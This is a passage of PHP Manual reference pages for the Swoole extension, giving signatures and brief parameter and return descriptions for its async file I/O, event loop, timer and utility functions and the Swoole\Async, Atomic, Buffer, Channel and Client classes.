  • Swoole 函数
  • Read file stream asynchronously

swoole_async_read

(PECL swoole >= 1.9.0)

swoole_async_read — Read file stream asynchronously

说明

swoole_async_read(
string $filename,
callable $callback,
int $chunk_size = 65536,
int $offset = 0
): bool

参数

filename

The filename of the file being read.

callback
callback(string $filename, string $content): mixed
filename

The name of the file.

content

The content readed from the file stream.

chunk_size

The chunk length.

offset

The offset.

返回值

Whether the read is succeed.

User Contributed Notes

There are no user contributed notes for this page.


Read a file asynchronously

  • ? swoole_async_read
  • swoole_async_set ?
  • PHP Manual
  • Swoole 函数
  • Read a file asynchronously

swoole_async_readfile

(PECL swoole >= 1.9.0)

swoole_async_readfile — Read a file asynchronously

说明

swoole_async_readfile(string $filename, callable $callback): bool

参数

filename

The filename of the file being read.

callback
callback(string $filename, string $content): mixed
filename

The name of the file.

content

The content read from the file.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Update the async I/O options

  • ? swoole_async_readfile
  • swoole_async_write ?
  • PHP Manual
  • Swoole 函数
  • Update the async I/O options

swoole_async_set

(PECL swoole >= 1.9.0)

swoole_async_set — Update the async I/O options

说明

swoole_async_set(array $settings): void

参数

settings

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Write data to a file stream asynchronously

  • ? swoole_async_set
  • swoole_async_writefile ?
  • PHP Manual
  • Swoole 函数
  • Write data to a file stream asynchronously

swoole_async_write

(PECL swoole >= 1.9.0)

swoole_async_write — Write data to a file stream asynchronously

说明

swoole_async_write(
string $filename,
string $content,
int $offset = ?,
callable $callback = ?
): bool

参数

filename

The filename being written.

content

The content writing to the file.

offset

The offset.

callback

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Write data to a file asynchronously

  • ? swoole_async_write
  • swoole_clear_error ?
  • PHP Manual
  • Swoole 函数
  • Write data to a file asynchronously

swoole_async_writefile

(PECL swoole >= 1.9.0)

swoole_async_writefile — Write data to a file asynchronously

说明

swoole_async_writefile(
string $filename,
string $content,
callable $callback = ?,
int $flags = 0
): bool

参数

filename

The filename being written.

content

The content writing to the file.

callback

flags

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Clear errors in the socket or on the last error code

  • ? swoole_async_writefile
  • swoole_client_select ?
  • PHP Manual
  • Swoole 函数
  • Clear errors in the socket or on the last error code

swoole_clear_error

(PECL swoole >= 4.6.0)

swoole_clear_error — Clear errors in the socket or on the last error code

说明

swoole_clear_error(): void

Clear errors in the socket or on the last error code.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Get the file description which are ready to read/write or error

  • ? swoole_clear_error
  • swoole_cpu_num ?
  • PHP Manual
  • Swoole 函数
  • Get the file description which are ready to read/write or error

swoole_client_select

(PECL swoole >= 1.9.0)

swoole_client_select — Get the file description which are ready to read/write or error

说明

swoole_client_select(
array &$read_array,
array &$write_array,
array &$error_array,
float $timeout = 0.5
): int

参数

read_array

write_array

error_array

timeout

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the number of CPU

  • ? swoole_client_select
  • swoole_errno ?
  • PHP Manual
  • Swoole 函数
  • Get the number of CPU

swoole_cpu_num

(PECL swoole >= 1.9.0)

swoole_cpu_num — Get the number of CPU

说明

swoole_cpu_num(): int

参数

此函数没有参数。

返回值

The number of CPU.

User Contributed Notes

There are no user contributed notes for this page.


Get the error code of the latest system call

  • ? swoole_cpu_num
  • swoole_error_log ?
  • PHP Manual
  • Swoole 函数
  • Get the error code of the latest system call

swoole_errno

(PECL swoole >= 1.9.0)

swoole_errno — Get the error code of the latest system call

说明

swoole_errno(): int

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Output error messages to the log

  • ? swoole_errno
  • swoole_event_add ?
  • PHP Manual
  • Swoole 函数
  • Output error messages to the log

swoole_error_log

(PECL swoole >= 4.5.8)

swoole_error_log — Output error messages to the log

说明

swoole_error_log(int $level, string $msg): void

Output error messages to the log.

参数

level

Log Level, constants can be used: SWOOLE_LOG_DEBUG, SWOOLE_LOG_TRACE, SWOOLE_LOG_INFO, SWOOLE_LOG_NOTICE, SWOOLE_LOG_WARNING, SWOOLE_LOG_ERROR, SWOOLE_LOG_NONE

msg

Message content to be written to the log.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Add new callback functions of a socket into the EventLoop

  • ? swoole_error_log
  • swoole_event_defer ?
  • PHP Manual
  • Swoole 函数
  • Add new callback functions of a socket into the EventLoop

swoole_event_add

(PECL swoole >= 1.9.0)

swoole_event_add — Add new callback functions of a socket into the EventLoop

说明

swoole_event_add(
int $fd,
callable $read_callback = ?,
callable $write_callback = ?,
int $events = 0
): int

参数

fd

read_callback

write_callback

events

返回值

User Contributed Notes

There are no user contributed notes for this page.


Add callback function to the next event loop

  • ? swoole_event_add
  • swoole_event_del ?
  • PHP Manual
  • Swoole 函数
  • Add callback function to the next event loop

swoole_event_defer

(PECL swoole >= 1.9.0)

swoole_event_defer — Add callback function to the next event loop

说明

swoole_event_defer(callable $callback): bool

参数

callback

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Remove all event callback functions of a socket

  • ? swoole_event_defer
  • swoole_event_exit ?
  • PHP Manual
  • Swoole 函数
  • Remove all event callback functions of a socket

swoole_event_del

(PECL swoole >= 1.9.0)

swoole_event_del — Remove all event callback functions of a socket

说明

swoole_event_del(int $fd): bool

参数

fd

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Exit the eventloop, only available at the client side

  • ? swoole_event_del
  • swoole_event_set ?
  • PHP Manual
  • Swoole 函数
  • Exit the eventloop, only available at the client side

swoole_event_exit

(PECL swoole >= 1.9.0)

swoole_event_exit — Exit the eventloop, only available at the client side

说明

swoole_event_exit(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Update the event callback functions of a socket

  • ? swoole_event_exit
  • swoole_event_wait ?
  • PHP Manual
  • Swoole 函数
  • Update the event callback functions of a socket

swoole_event_set

(PECL swoole >= 1.9.0)

swoole_event_set — Update the event callback functions of a socket

说明

swoole_event_set(
int $fd,
callable $read_callback = ?,
callable $write_callback = ?,
int $events = 0
): bool

参数

fd

read_callback

write_callback

events

返回值

User Contributed Notes

There are no user contributed notes for this page.


Start the event loop

  • ? swoole_event_set
  • swoole_event_write ?
  • PHP Manual
  • Swoole 函数
  • Start the event loop

swoole_event_wait

(PECL swoole >= 1.9.0)

swoole_event_wait — Start the event loop

说明

swoole_event_wait(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Write data to a socket

  • ? swoole_event_wait
  • swoole_get_local_ip ?
  • PHP Manual
  • Swoole 函数
  • Write data to a socket

swoole_event_write

(PECL swoole >= 1.9.0)

swoole_event_write — Write data to a socket

说明

swoole_event_write(int $fd, string $data): bool

参数

fd

data

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Get the IPv4 IP addresses of each NIC on the machine

  • ? swoole_event_write
  • swoole_last_error ?
  • PHP Manual
  • Swoole 函数
  • Get the IPv4 IP addresses of each NIC on the machine

swoole_get_local_ip

(PECL swoole >= 1.9.0)

swoole_get_local_ip — Get the IPv4 IP addresses of each NIC on the machine

说明

swoole_get_local_ip(): array

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the lastest error message

  • ? swoole_get_local_ip
  • swoole_load_module ?
  • PHP Manual
  • Swoole 函数
  • Get the lastest error message

swoole_last_error

(PECL swoole >= 1.9.0)

swoole_last_error — Get the lastest error message

说明

swoole_last_error(): int

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Load a swoole extension

  • ? swoole_last_error
  • swoole_select ?
  • PHP Manual
  • Swoole 函数
  • Load a swoole extension

swoole_load_module

(PECL swoole >= 1.9.0)

swoole_load_module — Load a swoole extension

说明

swoole_load_module(string $filename): mixed

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Select the file descriptions which are ready to read/write or error in the eventloop

  • ? swoole_load_module
  • swoole_set_process_name ?
  • PHP Manual
  • Swoole 函数
  • Select the file descriptions which are ready to read/write or error in the eventloop

swoole_select

(PECL swoole >= 1.9.0)

swoole_select — Select the file descriptions which are ready to read/write or error in the eventloop

说明

swoole_select(
array &$read_array,
array &$write_array,
array &$error_array,
float $timeout = ?
): int

参数

read_array

write_array

error_array

timeout

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the process name

  • ? swoole_select
  • swoole_strerror ?
  • PHP Manual
  • Swoole 函数
  • Set the process name

swoole_set_process_name

(PECL swoole >= 1.9.0)

swoole_set_process_name — Set the process name

说明

swoole_set_process_name(string $process_name, int $size = 128): void

参数

process_name

返回值

User Contributed Notes

There are no user contributed notes for this page.


Convert the Errno into error messages

  • ? swoole_set_process_name
  • swoole_timer_after ?
  • PHP Manual
  • Swoole 函数
  • Convert the Errno into error messages

swoole_strerror

(PECL swoole >= 1.9.0)

swoole_strerror — Convert the Errno into error messages

说明

swoole_strerror(int $errno, int $error_type = 0): string

参数

errno

返回值

User Contributed Notes

There are no user contributed notes for this page.


Trigger a one time callback function in the future

  • ? swoole_strerror
  • swoole_timer_exists ?
  • PHP Manual
  • Swoole 函数
  • Trigger a one time callback function in the future

swoole_timer_after

(PECL swoole >= 1.9.0)

swoole_timer_after — Trigger a one time callback function in the future

说明

swoole_timer_after(int $ms, callable $callback, mixed $param = ?): int

参数

ms

callback

param

返回值

User Contributed Notes

There are no user contributed notes for this page.


Check if a timer callback function is existed

  • ? swoole_timer_after
  • swoole_timer_tick ?
  • PHP Manual
  • Swoole 函数
  • Check if a timer callback function is existed

swoole_timer_exists

(PECL swoole >= 1.9.0)

swoole_timer_exists — Check if a timer callback function is existed

说明

swoole_timer_exists(int $timer_id): bool

参数

timer_id

返回值

User Contributed Notes

There are no user contributed notes for this page.


Trigger a timer tick callback function by time interval

  • ? swoole_timer_exists
  • swoole_version ?
  • PHP Manual
  • Swoole 函数
  • Trigger a timer tick callback function by time interval

swoole_timer_tick

(PECL swoole >= 1.9.0)

swoole_timer_tick — Trigger a timer tick callback function by time interval

说明

swoole_timer_tick(int $ms, callable $callback, mixed $param = ?): int

参数

ms

callback

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the version of Swoole

  • ? swoole_timer_tick
  • Swoole\Async ?
  • PHP Manual
  • Swoole 函数
  • Get the version of Swoole

swoole_version

(PECL swoole >= 1.9.0)

swoole_version — Get the version of Swoole

说明

swoole_version(): string

参数

此函数没有参数。

返回值

The version of Swoole.

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Async class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\Async {
/* 方法 */
public static dnsLookup(string $hostname, callable $callback): void
public static read(
string $filename,
callable $callback,
int $chunk_size = ?,
int $offset = ?
): bool
public static readFile(string $filename, callable $callback): void
public static set(array $settings): void
public static write(
string $filename,
string $content,
int $offset = ?,
callable $callback = ?
): void
public static writeFile(
string $filename,
string $content,
callable $callback = ?,
string $flags = ?
): void
}

Table of Contents

  • Swoole\Async::dnsLookup — Async and non-blocking hostname to IP lookup.
  • Swoole\Async::read — Read file stream asynchronously.
  • Swoole\Async::readFile — Read a file asynchronously.
  • Swoole\Async::set — Update the async I/O options.
  • Swoole\Async::write — Write data to a file stream asynchronously.
  • Swoole\Async::writeFile — Description

User Contributed Notes

There are no user contributed notes for this page.


Async and non-blocking hostname to IP lookup.

  • ? Swoole\Async
  • Swoole\Async::read ?
  • PHP Manual
  • Swoole\Async
  • Async and non-blocking hostname to IP lookup.

Swoole\Async::dnsLookup

(PECL swoole >= 1.9.0)

Swoole\Async::dnsLookup — Async and non-blocking hostname to IP lookup.

说明

public static Swoole\Async::dnsLookup(string $hostname, callable $callback): void

Warning

本函数还未编写文档，仅有参数列表。

参数

hostname

The host name.

callback
callback(string $hostname, string $ip): mixed
hostname

The host name.

IP

The IP address.

User Contributed Notes

There are no user contributed notes for this page.


Read file stream asynchronously.

  • ? Swoole\Async::dnsLookup
  • Swoole\Async::readFile ?
  • PHP Manual
  • Swoole\Async
  • Read file stream asynchronously.

Swoole\Async::read

(PECL swoole >= 1.9.0)

Swoole\Async::read — Read file stream asynchronously.

说明

public static Swoole\Async::read(
string $filename,
callable $callback,
int $chunk_size = ?,
int $offset = ?
): bool

参数

filename

The name of the file.

callback
callback(string $filename, string $content): mixed
filename

The name of the file.

content

The content readed from the file stream.

chunk_size

The chunk length.

offset

The offset.

返回值

Whether the read is succeed.

User Contributed Notes

There are no user contributed notes for this page.


Read a file asynchronously.

  • ? Swoole\Async::read
  • Swoole\Async::set ?
  • PHP Manual
  • Swoole\Async
  • Read a file asynchronously.

Swoole\Async::readFile

(PECL swoole >= 1.9.0)

Swoole\Async::readFile — Read a file asynchronously.

说明

public static Swoole\Async::readFile(string $filename, callable $callback): void

参数

filename

The filename of the file being read.

callback
callback(string $filename, string $content): mixed
filename

The name of the file.

content

The content readed from the file.

User Contributed Notes

There are no user contributed notes for this page.


Update the async I/O options.

  • ? Swoole\Async::readFile
  • Swoole\Async::write ?
  • PHP Manual
  • Swoole\Async
  • Update the async I/O options.

Swoole\Async::set

(PECL swoole >= 1.9.0)

Swoole\Async::set — Update the async I/O options.

说明

public static Swoole\Async::set(array $settings): void

参数

settings

User Contributed Notes

There are no user contributed notes for this page.


Write data to a file stream asynchronously.

  • ? Swoole\Async::set
  • Swoole\Async::writeFile ?
  • PHP Manual
  • Swoole\Async
  • Write data to a file stream asynchronously.

Swoole\Async::write

(PECL swoole >= 1.9.0)

Swoole\Async::write — Write data to a file stream asynchronously.

说明

public static Swoole\Async::write(
string $filename,
string $content,
int $offset = ?,
callable $callback = ?
): void

参数

filename

The filename being written.

content

The content writing to the file.

offset

The offset.

callback

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Async::write
  • Swoole\Atomic ?
  • PHP Manual
  • Swoole\Async
  • Description

Swoole\Async::writeFile

(PECL swoole >= 1.9.0)

Swoole\Async::writeFile — Description

说明

public static Swoole\Async::writeFile(
string $filename,
string $content,
callable $callback = ?,
string $flags = ?
): void

Warning

本函数还未编写文档，仅有参数列表。

参数

filename

The filename being written.

content

The content writing to the file.

callback

flags

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Atomic class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\Atomic {
/* 方法 */
public add(int $add_value = ?): int
public cmpset(int $cmp_value, int $new_value): int
public get(): int
public set(int $value): int
public sub(int $sub_value = ?): int
}

Table of Contents

  • Swoole\Atomic::add — Add a number to the value to the atomic object.
  • Swoole\Atomic::cmpset — Compare and set the value of the atomic object.
  • Swoole\Atomic::__construct — Construct a swoole atomic object.
  • Swoole\Atomic::get — Get the current value of the atomic object.
  • Swoole\Atomic::set — Set a new value to the atomic object.
  • Swoole\Atomic::sub — Subtract a number to the value of the atomic object.

User Contributed Notes

There are no user contributed notes for this page.


Add a number to the value to the atomic object.

  • ? Swoole\Atomic
  • Swoole\Atomic::cmpset ?
  • PHP Manual
  • Swoole\Atomic
  • Add a number to the value to the atomic object.

Swoole\Atomic::add

(PECL swoole >= 1.9.0)

Swoole\Atomic::add — Add a number to the value to the atomic object.

说明

public Swoole\Atomic::add(int $add_value = ?): int

Add a number to the value to the atomic object.

参数

add_value

The value which will be added to the current value.

返回值

The new value of the atomic object.

User Contributed Notes

There are no user contributed notes for this page.


Compare and set the value of the atomic object.

  • ? Swoole\Atomic::add
  • Swoole\Atomic::__construct ?
  • PHP Manual
  • Swoole\Atomic
  • Compare and set the value of the atomic object.

Swoole\Atomic::cmpset

(PECL swoole >= 1.9.0)

Swoole\Atomic::cmpset — Compare and set the value of the atomic object.

说明

public Swoole\Atomic::cmpset(int $cmp_value, int $new_value): int

参数

cmp_value

The value to compare with the current value of the atomic object.

new_value

The value to set to the atomic object if the cmp_value is the same as the current value of the atomic object.

返回值

The new value of the atomic object.

User Contributed Notes

There are no user contributed notes for this page.


Construct a swoole atomic object.

  • ? Swoole\Atomic::cmpset
  • Swoole\Atomic::get ?
  • PHP Manual
  • Swoole\Atomic
  • Construct a swoole atomic object.

Swoole\Atomic::__construct

(PECL swoole >= 1.9.0)

Swoole\Atomic::__construct — Construct a swoole atomic object.

说明

public Swoole\Atomic::__construct(int $value = ?)

Swoole atomic object is a integer variable allows any processor to atomically test and modify. It is implemented based on CPU atomic instructions. The Swoole atomic variables have to defined before swoole_server->start.

Compare-and-swap (CAS) is an atomic instruction used in multithreading to achieve synchronization. It compares the content of a memory location with a given value and, only if they are the same, modifies the content of that memory location to a new given value.

参数

value

The value of the atomic object.

User Contributed Notes

There are no user contributed notes for this page.


Get the current value of the atomic object.

  • ? Swoole\Atomic::__construct
  • Swoole\Atomic::set ?
  • PHP Manual
  • Swoole\Atomic
  • Get the current value of the atomic object.

Swoole\Atomic::get

(PECL swoole >= 1.9.0)

Swoole\Atomic::get — Get the current value of the atomic object.

说明

public Swoole\Atomic::get(): int

Get the current value of the atomic object.

参数

此函数没有参数。

返回值

The current value of the atomic object.

User Contributed Notes

There are no user contributed notes for this page.


Set a new value to the atomic object.

  • ? Swoole\Atomic::get
  • Swoole\Atomic::sub ?
  • PHP Manual
  • Swoole\Atomic
  • Set a new value to the atomic object.

Swoole\Atomic::set

(PECL swoole >= 1.9.0)

Swoole\Atomic::set — Set a new value to the atomic object.

说明

public Swoole\Atomic::set(int $value): int

Set a new value to the atomic object.

Warning

本函数还未编写文档，仅有参数列表。

参数

value

The value to set to the atomic object.

返回值

The current value of the atomic object.

User Contributed Notes

There are no user contributed notes for this page.


Subtract a number to the value of the atomic object.

  • ? Swoole\Atomic::set
  • Swoole\Buffer ?
  • PHP Manual
  • Swoole\Atomic
  • Subtract a number to the value of the atomic object.

Swoole\Atomic::sub

(PECL swoole >= 1.9.0)

Swoole\Atomic::sub — Subtract a number to the value of the atomic object.

说明

public Swoole\Atomic::sub(int $sub_value = ?): int

Subtract a number to the value of the atomic object.

参数

sub_value

The value which will be subtracted to the current value.

返回值

The current value of the atomic object.

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Buffer class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\Buffer {
/* 方法 */
public append(string $data): int
public clear(): void
public __destruct(): void
public expand(int $size): int
public read(int $offset, int $length): string
public recycle(): void
public substr(int $offset, int $length = ?, bool $remove = ?): string
public __toString(): string
public write(int $offset, string $data): void
}

Table of Contents

  • Swoole\Buffer::append — Append the string or binary data at the end of the memory buffer and return the new size of memory allocated.
  • Swoole\Buffer::clear — Reset the memory buffer.
  • Swoole\Buffer::__construct — Fixed size memory blocks allocation.
  • Swoole\Buffer::__destruct — Destruct the Swoole memory buffer.
  • Swoole\Buffer::expand — Expand the size of memory buffer.
  • Swoole\Buffer::read — Read data from the memory buffer based on offset and length.
  • Swoole\Buffer::recycle — Release the memory to OS which is not used by the memory buffer.
  • Swoole\Buffer::substr — Read data from the memory buffer based on offset and length. Or remove data from the memory buffer.
  • Swoole\Buffer::__toString — Get the string value of the memory buffer.
  • Swoole\Buffer::write — Write data to the memory buffer. The memory allocated for the buffer will not be changed.

User Contributed Notes

There are no user contributed notes for this page.


Append the string or binary data at the end of the memory buffer and return the new size of memory allocated.

  • ? Swoole\Buffer
  • Swoole\Buffer::clear ?
  • PHP Manual
  • Swoole\Buffer
  • Append the string or binary data at the end of the memory buffer and return the new size of memory allocated.

Swoole\Buffer::append

(PECL swoole >= 1.9.0)

Swoole\Buffer::append — Append the string or binary data at the end of the memory buffer and return the new size of memory allocated.

说明

public Swoole\Buffer::append(string $data): int

参数

data

The string or binary data to append at the end of the memory buffer.

返回值

The new size of the memory buffer.

User Contributed Notes

There are no user contributed notes for this page.


Reset the memory buffer.

  • ? Swoole\Buffer::append
  • Swoole\Buffer::__construct ?
  • PHP Manual
  • Swoole\Buffer
  • Reset the memory buffer.

Swoole\Buffer::clear

(PECL swoole >= 1.9.0)

Swoole\Buffer::clear — Reset the memory buffer.

说明

public Swoole\Buffer::clear(): void

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Fixed size memory blocks allocation.

  • ? Swoole\Buffer::clear
  • Swoole\Buffer::__destruct ?
  • PHP Manual
  • Swoole\Buffer
  • Fixed size memory blocks allocation.

Swoole\Buffer::__construct

(PECL swoole >= 1.9.0)

Swoole\Buffer::__construct — Fixed size memory blocks allocation.

说明

public Swoole\Buffer::__construct(int $size = ?)

参数

size

The size of the memory to allocate.

User Contributed Notes

There are no user contributed notes for this page.


Destruct the Swoole memory buffer.

  • ? Swoole\Buffer::__construct
  • Swoole\Buffer::expand ?
  • PHP Manual
  • Swoole\Buffer
  • Destruct the Swoole memory buffer.

Swoole\Buffer::__destruct

(PECL swoole >= 1.9.0)

Swoole\Buffer::__destruct — Destruct the Swoole memory buffer.

说明

public Swoole\Buffer::__destruct(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Expand the size of memory buffer.

  • ? Swoole\Buffer::__destruct
  • Swoole\Buffer::read ?
  • PHP Manual
  • Swoole\Buffer
  • Expand the size of memory buffer.

Swoole\Buffer::expand

(PECL swoole >= 1.9.0)

Swoole\Buffer::expand — Expand the size of memory buffer.

说明

public Swoole\Buffer::expand(int $size): int

参数

size

The new size of the memory buffer.

返回值

The new size of the memory buffer.

User Contributed Notes

There are no user contributed notes for this page.


Read data from the memory buffer based on offset and length.

  • ? Swoole\Buffer::expand
  • Swoole\Buffer::recycle ?
  • PHP Manual
  • Swoole\Buffer
  • Read data from the memory buffer based on offset and length.

Swoole\Buffer::read

(PECL swoole >= 1.9.0)

Swoole\Buffer::read — Read data from the memory buffer based on offset and length.

说明

public Swoole\Buffer::read(int $offset, int $length): string

参数

offset

The offset.

length

The length.

返回值

The data readed from the memory buffer.

User Contributed Notes

There are no user contributed notes for this page.


Release the memory to OS which is not used by the memory buffer.

  • ? Swoole\Buffer::read
  • Swoole\Buffer::substr ?
  • PHP Manual
  • Swoole\Buffer
  • Release the memory to OS which is not used by the memory buffer.

Swoole\Buffer::recycle

(PECL swoole >= 1.9.0)

Swoole\Buffer::recycle — Release the memory to OS which is not used by the memory buffer.

说明

public Swoole\Buffer::recycle(): void

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Read data from the memory buffer based on offset and length. Or remove data from the memory buffer.

  • ? Swoole\Buffer::recycle
  • Swoole\Buffer::__toString ?
  • PHP Manual
  • Swoole\Buffer
  • Read data from the memory buffer based on offset and length. Or remove data from the memory buffer.

Swoole\Buffer::substr

(PECL swoole >= 1.9.0)

Swoole\Buffer::substr — Read data from the memory buffer based on offset and length. Or remove data from the memory buffer.

说明

public Swoole\Buffer::substr(int $offset, int $length = ?, bool $remove = ?): string

If $remove is set to be true and $offset is set to be 0, the data will be removed from the buffer. The memory for storing the data will be released when the buffer object is deconstructed.

参数

offset

The offset.

length

The length.

remove

Whether to remove the data from the memory buffer.

返回值

The data or string readed from the memory buffer.

User Contributed Notes

There are no user contributed notes for this page.


Get the string value of the memory buffer.

  • ? Swoole\Buffer::substr
  • Swoole\Buffer::write ?
  • PHP Manual
  • Swoole\Buffer
  • Get the string value of the memory buffer.

Swoole\Buffer::__toString

(PECL swoole >= 1.9.0)

Swoole\Buffer::__toString — Get the string value of the memory buffer.

说明

public Swoole\Buffer::__toString(): string

参数

此函数没有参数。

返回值

The string value of the memory buffer.

User Contributed Notes

There are no user contributed notes for this page.


Write data to the memory buffer. The memory allocated for the buffer will not be changed.

  • ? Swoole\Buffer::__toString
  • Swoole\Channel ?
  • PHP Manual
  • Swoole\Buffer
  • Write data to the memory buffer. The memory allocated for the buffer will not be changed.

Swoole\Buffer::write

(PECL swoole >= 1.9.0)

Swoole\Buffer::write — Write data to the memory buffer. The memory allocated for the buffer will not be changed.

说明

public Swoole\Buffer::write(int $offset, string $data): void

参数

offset

The offset.

data

The data to write to the memory buffer.

返回值

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Channel class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\Channel {
/* 方法 */
public __destruct(): void
public pop(): mixed
public push(string $data): bool
public stats(): array
}

Table of Contents

  • Swoole\Channel::__construct — Construct a Swoole Channel
  • Swoole\Channel::__destruct — Destruct a Swoole channel.
  • Swoole\Channel::pop — Read and pop data from swoole channel.
  • Swoole\Channel::push — Write and push data into Swoole channel.
  • Swoole\Channel::stats — Get stats of swoole channel.

User Contributed Notes

There are no user contributed notes for this page.


Construct a Swoole Channel

  • ? Swoole\Channel
  • Swoole\Channel::__destruct ?
  • PHP Manual
  • Swoole\Channel
  • Construct a Swoole Channel

Swoole\Channel::__construct

(PECL swoole >= 1.9.0)

Swoole\Channel::__construct — Construct a Swoole Channel

说明

public Swoole\Channel::__construct(string $size)

Swoole channel is memory data structure works like Chan in Golang, implemented based on shared memory and mutex locks. It can be used as high performance message queue in memory. Construct a swoole channel with a fixed size. The minimum size of a swoole channel is 64KB. Exceptions will be thrown if there is not enough memory.

参数

size

The size of the Swoole channel.

User Contributed Notes

There are no user contributed notes for this page.


Destruct a Swoole channel.

  • ? Swoole\Channel::__construct
  • Swoole\Channel::pop ?
  • PHP Manual
  • Swoole\Channel
  • Destruct a Swoole channel.

Swoole\Channel::__destruct

(PECL swoole >= 1.9.0)

Swoole\Channel::__destruct — Destruct a Swoole channel.

说明

public Swoole\Channel::__destruct(): void

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Read and pop data from swoole channel.

  • ? Swoole\Channel::__destruct
  • Swoole\Channel::push ?
  • PHP Manual
  • Swoole\Channel
  • Read and pop data from swoole channel.

Swoole\Channel::pop

(PECL swoole >= 1.9.0)

Swoole\Channel::pop — Read and pop data from swoole channel.

说明

public Swoole\Channel::pop(): mixed

参数

此函数没有参数。

返回值

If the channel is empty, the function will return false, or return the unserialized data.

User Contributed Notes

There are no user contributed notes for this page.


Write and push data into Swoole channel.

  • ? Swoole\Channel::pop
  • Swoole\Channel::stats ?
  • PHP Manual
  • Swoole\Channel
  • Write and push data into Swoole channel.

Swoole\Channel::push

(PECL swoole >= 1.9.0)

Swoole\Channel::push — Write and push data into Swoole channel.

说明

public Swoole\Channel::push(string $data): bool

Data can be any non-empty PHP variable, the variable will be serialized if it is not string type.

If size of the data is more than 8KB, swoole channel will use temp files storage.

The function will return true if the write operation is succeeded, or return false if there is not enough space.

参数

data

The data to push into the Swoole channel.

返回值

Wheter the data is pushed into he Swoole channel.

User Contributed Notes

There are no user contributed notes for this page.


Get stats of swoole channel.

  • ? Swoole\Channel::push
  • Swoole\Client ?
  • PHP Manual
  • Swoole\Channel
  • Get stats of swoole channel.

Swoole\Channel::stats

(PECL swoole >= 1.9.0)

Swoole\Channel::stats — Get stats of swoole channel.

说明

public Swoole\Channel::stats(): array

Get the numbers of queued elements and total size of the memory used by the queue.

参数

此函数没有参数。

返回值

The stats of the Swoole channel.

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Client class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\Client {
/* 常量 */
const int MSG_OOB = 1;
const int MSG_PEEK = 2;
const int MSG_DONTWAIT = 128;
const int MSG_WAITALL = 64;
/* 属性 */
public $errCode;
public $sock;
public $reuse;
public $reuseCount;
/* 方法 */
public close(bool $force = ?): bool
public connect(
string $host,
int $port = ?,
int $timeout = ?,
int $flag = ?
): bool
public __destruct(): void
public getpeername(): array
public getsockname(): array
public isConnected(): bool
public on(string $event, callable $callback): void
public pause(): void
public pipe(string $socket): void
public recv(string $size = ?, string $flag = ?): void
public resume(): void
public send(string $data, string $flag = ?): int
public sendfile(string $filename, int $offset = ?): bool
public sendto(string $ip, int $port, string $data): bool
public set(array $settings): void
public sleep(): void
public wakeup(): void
}

属性

errCode

sock

reuse

reuseCount

预定义常量

Swoole\Client::MSG_OOB

Swoole\Client::MSG_PEEK

Swoole\Client::MSG_DONTWAIT

Swoole\Client::MSG_WAITALL

Table of Contents

  • Swoole\Client::close — Close the connection established.
  • Swoole\Client::connect — Connect to the remote TCP or UDP port.
  • Swoole\Client::__construct — Create Swoole sync or async TCP/UDP client, with or without SSL.
  • Swoole\Client::__destruct — Destruct the Swoole client.
  • Swoole\Client::getpeername — Get the remote socket name of the connection.
  • Swoole\Client::getsockname — Get the local socket name of the connection.
  • Swoole\Client::isConnected — Check if the connection is established.
  • Swoole\Client::on — Add callback functions triggered by events.
  • Swoole\Client::pause — Pause receiving data.
  • Swoole\Client::pipe — Redirect the data to another file descriptor.
  • Swoole\Client::recv — Receive data from the remote socket.
  • Swoole\Client::resume — Resume receiving data.
  • Swoole\Client::send — Send data to the remote TCP socket.
  • Swoole\Client::sendfile — Send file to the remote TCP socket.
  • Swoole\Client::sendto — Send data to the remote UDP address.
  • Swoole\Client::set — Set the Swoole client parameters before the connection is established.
  • Swoole\Client::sleep — Remove the TCP client from system event loop.
  • Swoole\Client::wakeup — Add the TCP client back into the system event loop.

User Contributed Notes

There are no user contributed notes for this page.


Close the connection established.

  • ? Swoole\Client
  • Swoole\Client::connect ?
  • PHP Manual
  • Swoole\Client
  • Close the connection established.

Swoole\Client::close

(PECL swoole >= 1.9.0)

Swoole\Client::close — Close the connection established.

说明

public Swoole\Client::close(bool $force = ?): bool

参数

force

Whether force to close the connection.

返回值

Whether the connection is closed.

User Contributed Notes

There are no user contributed notes for this page.


Connect to the remote TCP or UDP port.

  • ? Swoole\Client::close
  • Swoole\Client::__construct ?
  • PHP Manual
  • Swoole\Client
